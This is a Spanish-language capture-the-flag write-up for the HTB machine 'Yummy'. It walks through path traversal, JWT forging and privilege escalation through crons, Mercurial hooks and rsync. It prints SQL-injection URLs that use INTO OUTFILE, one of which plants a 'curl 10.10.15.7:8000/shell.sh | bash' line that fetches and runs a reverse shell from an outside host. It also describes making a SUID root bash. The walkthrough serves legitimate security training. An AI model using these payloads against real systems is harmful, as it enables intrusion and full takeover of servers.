writeup yummy HTB

Yummy empieza como una página web para hacer reservas en restaurantes. Voy a explotar una vulnerabilidad de cruce de directorios en la función que genera los archivos de invitación al calendario para leer archivos del sistema, consiguiendo así acceso al código fuente del sitio web y a los crons que se están ejecutando. Descifraré la clave RSA utilizada para firmar las cookies JWT y así obtener acceso de administrador. Luego, aprovecharé una inyección SQL para escribir un script que será ejecutado por los crons.

Después, abusaré de otro cron para obtener acceso como el usuario www-data, que tiene permisos sobre un repositorio Mercurial (similar a Git). Allí, revisaré commits antiguos para encontrar las credenciales de otro usuario. Con este nuevo acceso, podré escribir un hook en Mercurial para pivotar de nuevo.

Este usuario puede ejecutar rsync como root, lo que me permitirá completar la máquina.

En Beyond Root, analizaré el código fuente en Python del sitio para entender su comportamiento, además de revisar las configuraciones erróneas que permitieron escribir archivos a través de MySQL, incluyendo ajustes en MySQL y AppArmor.

como siempre empezamos con los escaneos de nmap

nmap -p- --open --min-rate 5000 -sT -n -Pn -vvv 10.10.11.36 -oG allports

si hacemos un whatweb vemos lo siguiente

si vamos a la pagina web veremos lo siguiente

al fondo vemos un sitio para reservar una mesa pero sin mas si hacemos un fuzzing con disearch por ejemplo encontramos lo siguiente

vemos un panel de regitro vamos a el

vale nos registramos y nos logeamos

y vemos una pantalla en negro queentiendo que sera si tengo reservciones

si pruebo a hacer una reservacion poniendo los datos de la cuenta

si volvemos a donde estava en negro ahora apararece esto

si ahora abrimos burpsuite y capturamos la peticion cuando le damos a salvar el calendario

ahora cemos un forward por que esta no me interesa

ahora vemos que esta apuntando a un directorio llamdo export, elcual esta mal echo proque podemos apntar a otros archivos de la mquina como las tareas cron

![[Pasted image 20250107180007.png]]

vemos las tareas cron y algo mas

3 archivos que son importantes

en el backup si nos lo bajamos encontramos el siguiente script:

nos da una pista de como se hacen los jwt

y si le añadimos este archivo python

ya podemos crear nuestro jwt de admin

con el siguiente script

si lo ejecutamos

nos jenera el nuevo jwt que si lo pegamos en el apartado de cookies de seion y recargamos la pagina

ganamos acceso a admindhasvoart

ahora como dato curioso hay un sqli pero no es necesario porque realmente no consigues nada si en el panel de busqueda pones algo hace de esta forma la busqueda http://yummy.htb/admindashboard?s=dwadaw&o=ASC

pues en ASC hay un sqli si hacemos yummy.htb/admindashboard?s=fwfw&o=ASC union selec 1,2,3;

confirmamos las sopechas y si despues hacemos http://yummy.htb/admindashboard?s=edu&o=ASC;select extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'))) ![[Pasted image 20250107182105.png]]

y vemos las tablas pero mas de aqui no podemos ir por desgracia

volviendo a la parte correcta. si vemos las tareas cron veremos que hay un archivo dbmonitor.sh que lo que hace es una tarea de mysql

hay una sentencia else que hace si dbstatus.json sale y no incluye el texto database is down, borra el archivo .json y ejecuta el primer archivo fixer-v en /data/scripts.

por lo que debemos adelantarnos para ello vamos a usar las siguientes url http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"pwned"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"curl+10.10.15.7:8000/shell.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b

nos ponemos un sever python con la shell y en ecucha con netcat y pasado un rato

una vez dentro tenemos que salir

esto es casi igual que lo que acabamos de hacer si recordamos avia un archivo app_backup.sh en las cron

pues es tan simple como remplazar ese archivo con la shell que emos usado

y una vez echo

una ve aqui hay dosa casos o lipheas.sh te da la password (LIT me la dio la primera vez que lo hice) pero la forma real seria la siguiente

vamos a ver un directorio .hg en el cual hay una serie de directorios si hacemos

root

si hacemos un sudo -l vemos lo siguiente

podemos ejecutar /usr/bin/hg como Dev li cual es interesante

/usr/bin/hg es un sistema de control de versiones similar a git que permite extraer o copiar archivos y repos. Ambos programas utilizan ganchos para desencadenar ciertos eventos después de extraer, confirmar y actualizar. Usando estos hooks podemos ejecutar un script después de que el pull esté hecho. Primero se necesita un archivo de configuración .hgrc para ejecutar un hook. Usemos el .hgrc en /home/qa/ y agreguemos la siguiente línea hooks\npost-pull = /tmp/shell.sh.

nos ponemos en escucha con netcat y ganaremos shell

una vez como dev si hacemos un sudo -l veremos que tenemos permiso SUID sobre:

En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/* en el directorio /opt/app (excluyendo archivos .hg).

que podemos hacer. podemos hacernos una copia de bin/bash la cual se SUID y propiedad de root

y funciono

Última actualización